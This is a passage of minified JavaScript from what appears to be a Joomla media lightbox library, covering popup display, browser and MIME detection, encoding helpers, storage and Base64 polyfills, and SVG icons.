parts=title.split("::");title=$.trim(parts[0]),text=$.trim(parts[1])}title&&(h+='<h4 id="wf-mediabox-modal-title">'+title+"</h4>",$(".wf-mediabox").attr("aria-labelledby","wf-mediabox-modal-title")),text&&(h+='<p id="wf-mediabox-modal-description">'+text+"</p>",$(".wf-mediabox").attr("aria-describedby","wf-mediabox-modal-description")),$(".wf-mediabox-caption").html(h).addClass("wf-mediabox-caption-hidden"),h&&$(".wf-mediabox-caption").find(":not(a)").each(function(){var s=$(this).html();s&&/(@|:\/\/)/.test(s)&&s.indexOf("<")===-1&&(s=processRe(s))&&$(this).replaceWith(s)})}var self=this,len=this.items.length;if($(".wf-mediabox-numbers").length&&len>1){var html=$(".wf-mediabox-numbers").data("html")||"{{numbers}}";if(html.indexOf("{{numbers}}")!==-1){$(".wf-mediabox-numbers").empty().append("<ol />");for(var i=0;i<len;i++){var n=i+1,title=this.items[i].title||n,link=$('<button aria-label="'+title+'" tabindex="0" class="wf-mediabox-number" />').html(n);this.index===i&&$(link).addClass("active"),$("<li />").append(link).appendTo($("ol",".wf-mediabox-numbers")),$(link).on("click",function(e){var x=parseInt(e.target.innerHTML)-1;return self.index!=x&&self.queue(x)})}}html.indexOf("{{current}}")!==-1&&$(".wf-mediabox-numbers").html(html.replace("{{current}}",this.index+1).replace("{{total}}",len)),$(".wf-mediabox-numbers").attr("aria-hidden",!1)}else $(".wf-mediabox-numbers").empty().attr("aria-hidden",!0);$(".wf-mediabox-info-top, .wf-mediabox-info-bottom").show(),$(".wf-mediabox-next, .wf-mediabox-prev").hide().attr("aria-hidden",!0),len>1?(this.index>0?$(".wf-mediabox-prev").show().attr("aria-hidden",!1).addClass("wf-mediabox-focus"):$(".wf-mediabox-prev").hide().attr("aria-hidden",!0),this.index<len-1?$(".wf-mediabox-next").show().attr("aria-hidden",!1).addClass("wf-mediabox-focus"):$(".wf-mediabox-next").hide().attr("aria-hidden",!0)):$(".wf-mediabox-close").addClass("wf-mediabox-focus"),popup.params.css&&$(".wf-mediabox-body").addClass(popup.params.css),len>1&&($(".wf-mediabox-thumbnails").empty(),$.each(this.items,function(i,item){$('<img src="'+item.src+'" class="loading" />').on("click",function(){return self.queue(i)}).toggleClass("active",self.index==i).on("load",function(){$(this).removeClass("loading")}).appendTo(".wf-mediabox-thumbnails")}))},change:function(n){var popup,self=this;this.settings;if(n<0||n>=this.items.length)return!1;this.index=n,$(".wf-mediabox-container, .wf-mediabox-cancel").show(),$(".wf-mediabox").addClass("wf-mediabox-loading").find(".wf-mediabox-loader").attr("aria-hidden",!1),popup=this.items[n];var type="error",html="",plugin=MediaBox.Addons.Plugin.getPlugin(popup);return plugin&&(html=plugin.html(popup),type=plugin.type,!popup.width&&plugin.width&&(popup.width=plugin.width),!popup.height&&plugin.height&&(popup.height=plugin.height),popup.type=type),$(".wf-mediabox-content").attr("class","wf-mediabox-content").addClass("wf-mediabox-content-"+type).css("height",""),popup.html=html,this.items[n]=popup,self.setup(),!1},setup:function(){this.info(),MediaBox.Env.ie&&$(".wf-mediabox-content img").css("-ms-interpolation-mode","bicubic");var tabIndex=0;return $(".wf-mediabox").on("keydown.wf-mediabox",function(e){if(9===e.keyCode){e.preventDefault();var $items=$(".wf-mediabox").find("[tabindex]:visible").filter(function(){return parseInt(this.getAttribute("tabindex"))>=0});$items.each(function(i){$(this).hasClass("wf-mediabox-focus")&&(tabIndex=i)}),tabIndex=Math.max(tabIndex,0),e.shiftKey?tabIndex--:tabIndex++,tabIndex=Math.max(tabIndex,0),tabIndex===$items.length&&(tabIndex=0),$items.removeClass("wf-mediabox-focus"),$items.eq(tabIndex).focus().addClass("wf-mediabox-focus")}}),this.animate()},animate:function(){function itemLoaded(){if($cache.empty().remove(),"IFRAME"!==this.nodeName&&$(".wf-mediabox-content-item").html(popup.html),$(".wf-mediabox").removeClass("wf-mediabox-loading").find(".wf-mediabox-loading").attr("aria-hidden",!0),$(".wf-mediabox-content-item").css("padding-bottom",""),$(".wf-mediabox").addClass("wf-mediabox-show"),$(".wf-mediabox-info-top, .wf-mediabox-info-bottom").addClass("wf-info-show"),"IMG"===this.nodeName)cw=cw||this.naturalWidth||this.width,ch=ch||this.naturalHeight||this.height,cw=MediaBox.Tools.parseWidth(cw),ch=MediaBox.Tools.parseWidth(ch),popup.width=cw,popup.height=ch;else{if("VIDEO"===this.nodeName&&(cw=cw||this.videoWidth||0,ch=ch||this.videoHeight||0),cw=cw||640,cw&&ch){var w=MediaBox.Tools.parseWidth(cw),h=MediaBox.Tools.parseHeight(ch),ratio=parseFloat((h/w).toFixed(2));$(this).is(".wf-mediabox-iframe-video, .wf-mediabox-video, .wf-mediabox-audio")&&(ratio=.56),.75===ratio?$(".wf-mediabox-content").addClass("wf-mediabox-content-ratio-4by3"):.56!==ratio&&$(".wf-mediabox-content").addClass("wf-mediabox-content-ratio-flex")}$(".wf-mediabox-content-item").addClass("wf-mediabox-content-ratio"),popup.width=cw}if(self.updateBodyWidth(popup),"scroll"===s.scrolling&&($("body").addClass("wf-mediabox-scrolling"),scrollIntoView(".wf-mediabox-body")),$(".wf-mediabox-body").addClass("wf-mediabox-transition").attr("aria-hidden",!1),$(".wf-mediabox-focus").focus(),"IFRAME"===this.nodeName){var ifr=this;setTimeout(function(){ifr.contentWindow.focus()},10)}"VIDEO"!==this.nodeName&&"AUDIO"!==this.nodeName||MediaBox.Env.ie&&this.autoplay&&this.play(),$(this).trigger("mediabox:load")}function itemError(e){var n=this;$cache.empty().remove(),$(".wf-mediabox").removeClass("wf-mediabox-loading"),$(".wf-mediabox-content").addClass(function(){return"IMG"===n.nodeName?"wf-mediabox-broken-image":"wf-mediabox-broken-media"}),$(".wf-mediabox-body").addClass("wf-mediabox-transition").css("max-width","").attr("aria-hidden",!1),$(".wf-mediabox").addClass("wf-mediabox-show"),$(".wf-mediabox-content > div").addClass("wf-icon-404").html(function(){return MediaBox.getSVGIcon("404")})}var self=this,s=this.settings,popup=this.items[this.index],cw=popup.width||0,ch=popup.height||0;$(".wf-mediabox-content").removeClass("wf-mediabox-broken-image wf-mediabox-broken-media"),$(".wf-mediabox-content .wf-icon-404").removeClass("wf-icon-404").find("svg").remove(),$(".wf-mediabox-caption").removeClass("wf-mediabox-caption-hidden"),$(".wf-mediabox-content").hasClass("wf-mediabox-content-ajax")&&$(".wf-mediabox-body").css("max-width",640);var $cache=$('<div class="wf-mediabox-cache" />');"iframe"==popup.type||"ajax"==popup.type?$(".wf-mediabox-content-item").html(popup.html):$cache.html(popup.html).appendTo(".wf-mediabox"),$("img, video, audio, object, embed",$cache).add("iframe",".wf-mediabox-content").one("load loadedmetadata",function(e){var node=this;setTimeout(function(){itemLoaded.apply(node)},300)}).on("error",itemError)},close:function(keepopen){var self=this,transitionDuration=$(".wf-mediabox-container").css("transition-duration");transitionDuration=1e3*parseFloat(transitionDuration)||300,$(".wf-mediabox-body").removeClass("wf-mediabox-transition");var transitionTimer=setTimeout(function(){if($("iframe, video",".wf-mediabox-content-item").attr("src",""),$(".wf-mediabox-content-item").empty(),clearTimeout(transitionTimer),!keepopen){self.bind(!1),$(".wf-mediabox-info-bottom, .wf-mediabox-info-top").hide(),$(".wf-mediabox-frame").remove();var overlayDuration=$(".wf-mediabox-overlay").css("transition-duration");overlayDuration=1e3*parseFloat(overlayDuration)||300,$(".wf-mediabox").removeClass("wf-mediabox-open wf-mediabox-show"),$(".wf-mediabox-overlay").css("opacity",0);var overlayTimer=setTimeout(function(){$(".wf-mediabox").remove(),$("body").removeClass("wf-mediabox-scrolling"),clearTimeout(overlayTimer)},overlayDuration);self.activator&&$(self.activator).focus()}},transitionDuration);return $(".wf-mediabox-close").hide(),window.clearInterval(autoplayInterval),!1}};window.WfMediabox=window.jcepopup=MediaBox}(jQuery),function(){var opera,webkit,ie,ie6,gecko,mac,iDevice,Android,video,audio,nav=navigator,userAgent=nav.userAgent;opera=window.opera&&window.opera.buildNumber,android=/Android/.test(userAgent),webkit=/WebKit/.test(userAgent),ie=!webkit&&!opera&&/MSIE/gi.test(userAgent)&&/Explorer/gi.test(nav.appName),ie=ie&&/MSIE (\w+)\./.exec(userAgent)[1],ie=ie&&!webkit,ie6=ie&&!window.XMLHttpRequest,ie11=userAgent.indexOf("Trident/")!=-1&&(userAgent.indexOf("rv:")!=-1||nav.appName.indexOf("Netscape")!=-1)&&11,ie=ie||ie11,gecko=!webkit&&!ie&&/Gecko/.test(userAgent),mac=userAgent.indexOf("Mac")!=-1,iDevice=/(iPad|iPhone)/.test(userAgent),Android=/Android/.test(userAgent),Mobile=iDevice||Android,video=function(){var el=document.createElement("video"),o={};try{if(el.canPlayType){o.ogg=el.canPlayType('video/ogg; codecs="theora"');var h264='video/mp4; codecs="avc1.42E01E';return o.mp4=el.canPlayType(h264+'"')||el.canPlayType(h264+', mp4a.40.2"'),o.webm=el.canPlayType('video/webm; codecs="vp8, vorbis"'),o}}catch(e){}return!1}(),audio=function(){var el=document.createElement("audio"),o={};try{if(el.canPlayType)return o.ogg=el.canPlayType('audio/ogg; codecs="vorbis"'),o.mp3=el.canPlayType("audio/mpeg;"),o.wav=el.canPlayType('audio/wav; codecs="1"'),o.m4a=el.canPlayType("audio/x-m4a;")||el.canPlayType("audio/aac;"),o.webm=el.canPlayType('audio/webm; codecs="vp8, vorbis"'),o}catch(e){}return!1}();var Env={opera:opera,webkit:webkit,ie6:ie6,ie:ie,gecko:gecko,mac:mac,iOS:iDevice,android:Android,video:video,audio:audio,mobile:Mobile};window.WfMediabox.Env=Env}(),function($){var lookup={},mimes={},mediaTypes={flash:{classid:"CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,1,53,64"},shockwave:{classid:"CLSID:166B1BCA-3F9C-11CF-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=10,2,0,023"},windowsmedia:{classid:"CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=10,00,00,3646"},quicktime:{classid:"CLSID:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=7,3,0,0"},divx:{classid:"CLSID:67DABFBF-D0AB-41FA-9C46-CC0F21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},realmedia:{classid:"CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA",type:"audio/x-pn-realaudio-plugin"},java:{classid:"CLSID:8AD9C840-044E-11D1-B3E9-00805F499D93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},silverlight:{classid:"CLSID:DFEAF541-F3E1-4C24-ACAC-99C30715084A",type:"application/x-silverlight-2"},video:{type:"video/mpeg"},audio:{type:"audio/mpeg"},iframe:{}};!function(data){var i,y,ext,items=data.split(/,/);for(i=0;i<items.length;i+=2)for(ext=items[i+1].split(/ /),y=0;y<ext.length;y++)mimes[ext[y]]=items[i]}("application/x-director,dcr,video/divx,divx,application/pdf,pdf,application/x-shockwave-flash,swf swfl,audio/mpeg,mpga mpega mp2 mp3,audio/ogg,ogg spx oga,audio/x-wav,wav,video/mpeg,mpeg mpg mpe,video/mp4,mp4 m4v,video/ogg,ogg ogv,video/webm,webm,video/quicktime,qt mov,video/x-flv,flv,video/vnd.rn-realvideo,rv","NaNvideo/x-matroska,mkv"),$.each(mediaTypes,function(key,value){value.name=key,value.classid&&(lookup[value.classid]=value),value.type&&(lookup[value.type]=value),lookup[key.toLowerCase()]=value});var Mimetype={props:function(value){return lookup[value]||!1},guess:function(value){return mimes[value]||!1}};window.WfMediabox.Mimetype=Mimetype}(jQuery),function(){var entities={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;"},Entities={encode:function(str){return(""+str).replace(/[<>&\"\']/g,function(c){return entities[c]||c})},decode:function(str){var el;try{str=decodeURIComponent(str)}catch(e){}return el=document.createElement("div"),el.innerHTML=str,el.innerHTML||str}};window.WfMediabox.Entities=Entities}(),function($,Entities){var Parameter={parse:function(s){var a=[],x=[];if("string"==typeof s){if(/^\{[\w\W]+\}$/.test(s))return $.parseJSON(s);if(/\w+\[[^\]]+\]/.test(s)){var items=[];return $.each(s.split(";"),function(i,item){var matches=item.match(/([\w]+)\[([^\]]+)\]/);matches&&3==matches.length&&items.push('"'+matches[1]+'":"'+matches[2]+'"')}),$.parseJSON("{"+items.join(",")+"}")}s.indexOf("=")!==-1&&(s.indexOf("&")!==-1?x=s.split(/&(amp;)?/g):x.push(s))}return $.isArray(s)&&(x=s),$.each(x,function(i,n){n&&(n=n.replace(/^([^\[]+)(\[|=|:)([^\]]*)(\]?)$/,function(a,b,c,d){return d?/[^0-9]/.test(d)?'"'+b+'":"'+Entities.encode($.trim(d))+'"':'"'+b+'":'+parseInt(d):""}),n&&a.push(n))}),$.parseJSON("{"+a.join(",")+"}")}};window.WfMediabox.Parameter=Parameter}(jQuery,WfMediabox.Entities),function(){window.sessionStorage||(window.sessionStorage={getItem:function(sKey){return sKey&&this.hasOwnProperty(sKey)?unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)"+escape(sKey).replace(/[\-\.\+\*]/g,"\\$&")+"\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"),"$1")):null},key:function(nKeyId){return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/,"").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId])},setItem:function(sKey,sValue){sKey&&(document.cookie=escape(sKey)+"="+escape(sValue)+"; path=/",this.length=document.cookie.match(/\=/g).length)},length:0,removeItem:function(sKey){sKey&&this.hasOwnProperty(sKey)&&(document.cookie=escape(sKey)+"=; path=/",this.length--)},hasOwnProperty:function(sKey){return new RegExp("(?:^|;\\s*)"+escape(sKey).replace(/[\-\.\+\*]/g,"\\$&")+"\\s*\\=").test(document.cookie)}},window.sessionStorage.length=(document.cookie.match(/\=/g)||window.sessionStorage).length);var Storage={get:function(n){return sessionStorage.getItem(n)},set:function(n,v){return sessionStorage.setItem(n,v)}};window.WfMediabox.Storage=Storage}(),function(){function _utf8_encode(string){string=string.replace(/\r\n/g,"\n");for(var utftext="",n=0;n<string.length;n++){var c=string.charCodeAt(n);c<128?utftext+=String.fromCharCode(c):c>127&&c<2048?(utftext+=String.fromCharCode(c>>6|192),utftext+=String.fromCharCode(63&c|128)):(utftext+=String.fromCharCode(c>>12|224),utftext+=String.fromCharCode(c>>6&63|128),utftext+=String.fromCharCode(63&c|128))}return utftext}function _utf8_decode(utftext){for(var string="",i=0,c=0,c1=0,c2=0;i<utftext.length;)c=utftext.charCodeAt(i),c<128?(string+=String.fromCharCode(c),i++):c>191&&c<224?(c1=utftext.charCodeAt(i+1),string+=String.fromCharCode((31&c)<<6|63&c1),i+=2):(c1=utftext.charCodeAt(i+1),c2=utftext.charCodeAt(i+2),string+=String.fromCharCode((15&c)<<12|(63&c1)<<6|63&c2),i+=3);return string}var _keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",Base64={encode:function(input){var chr1,chr2,chr3,enc1,enc2,enc3,enc4,output="",i=0;for(input=_utf8_encode(input);i<input.length;)chr1=input.charCodeAt(i++),chr2=input.charCodeAt(i++),chr3=input.charCodeAt(i++),enc1=chr1>>2,enc2=(3&chr1)<<4|chr2>>4,enc3=(15&chr2)<<2|chr3>>6,enc4=63&chr3,isNaN(chr2)?enc3=enc4=64:isNaN(chr3)&&(enc4=64),output=output+_keyStr.charAt(enc1)+_keyStr.charAt(enc2)+_keyStr.charAt(enc3)+_keyStr.charAt(enc4);return output},decode:function(input){var chr1,chr2,chr3,enc1,enc2,enc3,enc4,output="",i=0;for(input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");i<input.length;)enc1=_keyStr.indexOf(input.charAt(i++)),enc2=_keyStr.indexOf(input.charAt(i++)),enc3=_keyStr.indexOf(input.charAt(i++)),enc4=_keyStr.indexOf(input.charAt(i++)),chr1=enc1<<2|enc2>>4,chr2=(15&enc2)<<4|enc3>>2,chr3=(3&enc3)<<6|enc4,output+=String.fromCharCode(chr1),64!=enc3&&(output+=String.fromCharCode(chr2)),64!=enc4&&(output+=String.fromCharCode(chr3));return output=_utf8_decode(output)}};window.btoa||(window.btoa=Base64.encode),window.atob||(window.atob=Base64.decode)}(),function($,Parameter){var Convert={legacy:function(){$("a[href]").each(function(){if(/com_jce/.test(this.href)){var p,s,img,oc=$(this).attr("onclick");if(oc){s=oc.replace(/&#39;/g,"'").split("'"),p=Parameter.parse(s[1]);var img=p.img||"",title=p.title||""}img&&(/http:\/\//.test(img)||("/"===img.charAt(0)&&(img=img.substr(1)),img=JCEMediaBox.site.replace(/http:\/\/([^\/]+)/,"")+img),$(this).attr({href:img,title:title.replace(/_/," "),onclick:""}),$(this).addClass("jcepopup"))}})},lightbox:function(){$("a[rel*=lightbox]").addClass("jcepopup").each(function(){var r=this.rel.replace(/lightbox\[?([^\]]*)\]?/,function(a,b){return b?"group["+b+"]":""});$(this).attr("rel",r)})},shadowbox:function(){$("a[rel*=shadowbox]").addClass("jcepopup").each(function(){var r=this.rel.replace(/shadowbox\[?([^\]]*)\]?/,function(a,b){var attribs="",group="";return b&&(group="group["+b+"]"),/;=/.test(a)&&(attribs=a.replace(/=([^;"]+)/g,function(x,z){return"["+z+"]"})),group&&attribs?group+";"+attribs:group||attribs||""});$(this).attr("rel",r)})}};window.WfMediabox.Convert=Convert}(jQuery,WfMediabox.Parameter),function($){function Addons(){var self=this;self.items=[],self.lookup={}}Addons.prototype={add:function(id,addOn){return this.items.push(addOn),this.lookup[id]={instance:addOn},addOn},get:function(name){return name&&this.lookup[name]?this.lookup[name].instance:this.lookup}},Addons.Plugin=new Addons,Addons.Theme=new Addons,Addons.Plugin.getPlugin=function(v,n){var s,r;return s=this.get(n),$.each(s,function(k,o){var p=o.instance,c=new p(v);if(c&&c.is(v))return r=c,!1}),r},Addons.Theme.parse=function(name,translate,parent){function createNode(o,el){$.each(o,function(k,v){if("string"==typeof v)v=translate(v),"text"===k?$(el).html(v):$(el).attr(k,v);else if($.isArray(v))createNode(v,el);else if("string"==typeof k){var node=document.createElement(k);$(el).append(node),createNode(v,node)}else createNode(v,el)})}var data,theme=this.get(name);if("function"!=typeof theme&&(theme=this.get("standard")),
data=new theme)return parent||(parent=document.createElement("div")),translate||(translate=function(s){return s}),createNode(data,parent),parent},window.WfMediabox.Addons=Addons,window.WfMediabox.Plugin=Addons.Plugin,window.WfMediabox.Theme=Addons.Theme}(jQuery),function($){var svg={close:{standard:"M720.571 309.714q0 14.857-10.857 25.714l-103.429 103.429 103.429 103.429q10.857 10.857 10.857 25.714 0 15.429-10.857 26.286l-51.429 51.429q-10.857 10.857-26.286 10.857-14.857 0-25.714-10.857l-103.429-103.429-103.429 103.429q-10.857 10.857-25.714 10.857-15.429 0-26.286-10.857l-51.429-51.429q-10.857-10.857-10.857-26.286 0-14.857 10.857-25.714l103.429-103.429-103.429-103.429q-10.857-10.857-10.857-25.714 0-15.429 10.857-26.286l51.429-51.429q10.857-10.857 26.286-10.857 14.857 0 25.714 10.857l103.429 103.429 103.429-103.429q10.857-10.857 25.714-10.857 15.429 0 26.286 10.857l51.429 51.429q10.857 10.857 10.857 26.286zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z",squeeze:"M690.857 334.286l-83.429-83.429q-5.714-5.714-13.143-5.714t-13.143 5.714l-78.286 78.286-78.286-78.286q-5.714-5.714-13.143-5.714t-13.143 5.714l-83.429 83.429q-5.714 5.714-5.714 13.143t5.714 13.143l78.286 78.286-78.286 78.286q-5.714 5.714-5.714 13.143t5.714 13.143l83.429 83.429q5.714 5.714 13.143 5.714t13.143-5.714l78.286-78.286 78.286 78.286q5.714 5.714 13.143 5.714t13.143-5.714l83.429-83.429q5.714-5.714 5.714-13.143t-5.714-13.143l-78.286-78.286 78.286-78.286q5.714-5.714 5.714-13.143t-5.714-13.143zM813.714 438.857q0 84.571-41.714 156t-113.143 113.143-156 41.714-156-41.714-113.143-113.143-41.714-156 41.714-156 113.143-113.143 156-41.714 156 41.714 113.143 113.143 41.714 156zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z",shadow:""},next:{standard:"M798.286 438.857q0 15.429-10.286 25.714l-258.857 258.857q-10.286 10.286-25.714 10.286t-25.714-10.286l-52-52q-10.286-10.286-10.286-25.714t10.286-25.714l108-108h-286.857q-14.857 0-25.714-10.857t-10.857-25.714v-73.143q0-14.857 10.857-25.714t25.714-10.857h286.857l-108-108q-10.857-10.857-10.857-25.714t10.857-25.714l52-52q10.286-10.286 25.714-10.286t25.714 10.286l258.857 258.857q10.286 10.286 10.286 25.714zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z",squeeze:"M740.571 438.857q0-21.143-18.286-31.429l-310.857-182.857q-8.571-5.143-18.286-5.143-9.143 0-18.286 4.571-18.286 10.857-18.286 32v365.714q0 21.143 18.286 32 18.857 10.286 36.571-0.571l310.857-182.857q18.286-10.286 18.286-31.429zM813.714 438.857q0 84.571-41.714 156t-113.143 113.143-156 41.714-156-41.714-113.143-113.143-41.714-156 41.714-156 113.143-113.143 156-41.714 156 41.714 113.143 113.143 41.714 156zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z",shadow:"M25.714 7.428q-10.857-10.857-18.286-7.429t-7.429 18.286v841.143q0 14.857 7.429 18.286t18.286-7.429l405.714-405.714q5.143-5.143 7.429-10.857v405.714q0 14.857 7.429 18.286t18.286-7.429l405.714-405.714q10.857-10.857 10.857-25.714t-10.857-25.714l-405.714-405.714q-10.857-10.857-18.286-7.429t-7.429 18.286v405.714q-2.286-5.714-7.429-10.857z"},prev:{standard:"M795.429 402.286v73.143q0 14.857-10.857 25.714t-25.714 10.857h-286.857l108 108q10.857 10.857 10.857 25.714t-10.857 25.714l-52 52q-10.286 10.286-25.714 10.286t-25.714-10.286l-258.857-258.857q-10.286-10.286-10.286-25.714t10.286-25.714l258.857-258.857q10.286-10.286 25.714-10.286t25.714 10.286l52 52q10.286 10.286 10.286 25.714t-10.286 25.714l-108 108h286.857q14.857 0 25.714 10.857t10.857 25.714zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z",squeeze:"M283.429 438.857q0-21.143 18.286-31.429l310.857-182.857q8.571-5.143 18.286-5.143 9.143 0 18.286 4.571 18.286 10.857 18.286 32v365.714q0 21.143-18.286 32-18.857 10.286-36.571-0.571l-310.857-182.857q-18.286-10.286-18.286-31.429zM210.286 438.857q0 84.571 41.714 156t113.143 113.143 156 41.714 156-41.714 113.143-113.143 41.714-156-41.714-156-113.143-113.143-156-41.714-156 41.714-113.143 113.143-41.714 156zM82.286 438.857q0-119.429 58.857-220.286t159.714-159.714 220.286-58.857 220.286 58.857 159.714 159.714 58.857 220.286-58.857 220.286-159.714 159.714-220.286 58.857-220.286-58.857-159.714-159.714-58.857-220.286z",shadow:"M925.143 870.286q10.857 10.857 18.286 7.429t7.429-18.286v-841.143q0-14.857-7.429-18.286t-18.286 7.429l-405.714 405.714q-5.143 5.143-7.429 10.857v-405.714q0-14.857-7.429-18.286t-18.286 7.429l-405.714 405.714q-10.857 10.857-10.857 25.714t10.857 25.714l405.714 405.714q10.857 10.857 18.286 7.429t7.429-18.286v-405.714q2.286 5.714 7.429 10.857z"},search:"M292.714 475.428q0 105.714 75.143 180.857t180.857 75.143 180.857-75.143 75.143-180.857-75.143-180.857-180.857-75.143-180.857 75.143-75.143 180.857zM0.143 0q0-29.714 21.714-51.429t51.429-21.714q30.857 0 51.429 21.714l196 195.429q102.286-70.857 228-70.857 81.714 0 156.286 31.714t128.571 85.714 85.714 128.571 31.714 156.286-31.714 156.286-85.714 128.571-128.571 85.714-156.286 31.714-156.286-31.714-128.571-85.714-85.714-128.571-31.714-156.286q0-125.714 70.857-228l-196-196q-21.143-21.143-21.143-51.429z",link:"M804.571 420.571v-182.857q0-68-48.286-116.286t-116.286-48.286h-475.429q-68 0-116.286 48.286t-48.286 116.286v475.429q0 68 48.286 116.286t116.286 48.286h402.286q8 0 13.143-5.143t5.143-13.143v-36.571q0-8-5.143-13.143t-13.143-5.143h-402.286q-37.714 0-64.571-26.857t-26.857-64.571v-475.429q0-37.714 26.857-64.571t64.571-26.857h475.429q37.714 0 64.571 26.857t26.857 64.571v182.857q0 8 5.143 13.143t13.143 5.143h36.571q8 0 13.143-5.143t5.143-13.143zM1024 914.286v-292.571q0-14.857-10.857-25.714t-25.714-10.857-25.714 10.857l-100.571 100.571-372.571-372.571q-5.714-5.714-13.143-5.714t-13.143 5.714l-65.143 65.143q-5.714 5.714-5.714 13.143t5.714 13.143l372.571 372.571-100.571 100.571q-10.857 10.857-10.857 25.714t10.857 25.714 25.714 10.857h292.571q14.857 0 25.714-10.857t10.857-25.714z",404:"M712 248.571q4.571-14.286-2.286-27.714t-21.143-18-28 2.286-18.286 21.714q-14.286 45.714-52.857 74t-86.571 28.286-86.571-28.286-52.857-74q-4.571-14.857-18-21.714t-27.714-2.286q-14.857 4.571-21.714 18t-2.286 27.714q21.143 69.143 78.857 111.429t130.286 42.286 130.286-42.286 78.857-111.429zM429.714 585.143q0-30.286-21.429-51.714t-51.714-21.429-51.714 21.429-21.429 51.714 21.429 51.714 51.714 21.429 51.714-21.429 21.429-51.714zM722.286 585.143q0-30.286-21.429-51.714t-51.714-21.429-51.714 21.429-21.429 51.714 21.429 51.714 51.714 21.429 51.714-21.429 21.429-51.714zM868.571 438.857q0 74.286-29.143 142t-78 116.571-116.571 78-142 29.143-142-29.143-116.571-78-78-116.571-29.143-142 29.143-142 78-116.571 116.571-78 142-29.143 142 29.143 116.571 78 78 116.571 29.143 142zM941.714 438.857q0-119.429-58.857-220.286t-159.714-159.714-220.286-58.857-220.286 58.857-159.714 159.714-58.857 220.286 58.857 220.286 159.714 159.714 220.286 58.857 220.286-58.857 159.714-159.714 58.857-220.286z"};window.WfMediabox.getSVGIcon=function(name,attribs){var $svg=$('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 1024 1024"><g stroke="none" stroke-width="1"></g><path></path></svg>');$svg.attr(attribs||{});var parts=name.split(":"),icon=parts[0],theme=parts[1]||"",data=svg[icon];return"object"==typeof data&&theme&&(data=data[theme]||""),data?($svg.find("path").attr("d",data),$("<div />").append($svg).html()):""}}(jQuery),function($){function now(){return(new Date).getTime()}var Tools={};Tools.debounce=function(func,wait,immediate){var timeout,args,context,timestamp,result,later=function(){var last=now()-timestamp;last<wait&&last>0?timeout=setTimeout(later,wait-last):(timeout=null,immediate||(result=func.apply(context,args),timeout||(context=args=null)))};return function(){context=this,args=arguments,timestamp=now();var callNow=immediate&&!timeout;return timeout||(timeout=setTimeout(later,wait)),callNow&&(result=func.apply(context,args),context=args=null),result}},Tools.resize=function(w,h,x,y){return w>x?(h*=x/w,w=x,h>y&&(w*=y/h,h=y)):h>y&&(w*=y/h,h=y,w>x&&(h*=x/w,w=x)),w=Math.round(w),h=Math.round(h),{width:Math.round(w),height:Math.round(h)}},Tools.parseWidth=function(w){return/%/.test(w)&&(w=Math.floor($(window).width()*parseInt(w)/100)),/\d/.test(w)&&(w=parseInt(w)),w},Tools.parseHeight=function(h){return/%/.test(h)&&(h=Math.floor($(window).height()*parseInt(h)/100)),/\d/.test(h)&&(h=parseInt(h)),h},window.WfMediabox.Tools=Tools}(jQuery),function($,WfMediabox){function isBool(attr){var map=["async","checked","compact","declare","defer","disabled","ismap","multiple","nohref","noresize","noshade","nowrap","readonly","selected","autoplay","loop","controls","itemscope","playsinline","contenteditable","spellcheck","contextmenu","draggable","hidden"];return $.inArray(attr,map)!==-1}function islocal(s){return!/^([a-z]+)?:\/\//.test(s)||new RegExp("("+WfMediabox.site+")").test(s)}function parseURL(url){var o={};return url=/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url),$.each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],function(i,v){var s=url[i];s&&(o[v]=s)}),o}function buildURL(o){var url="";return o.protocol&&(url+=o.protocol+"://"),o.userInfo&&(url+=o.userInfo+"@"),o.host&&(url+=o.host),o.port&&(url+=":"+o.port),o.path&&(url+=o.path),o.query&&(url+="?"+o.query),o.anchor&&(url+="#"+o.anchor),url}function 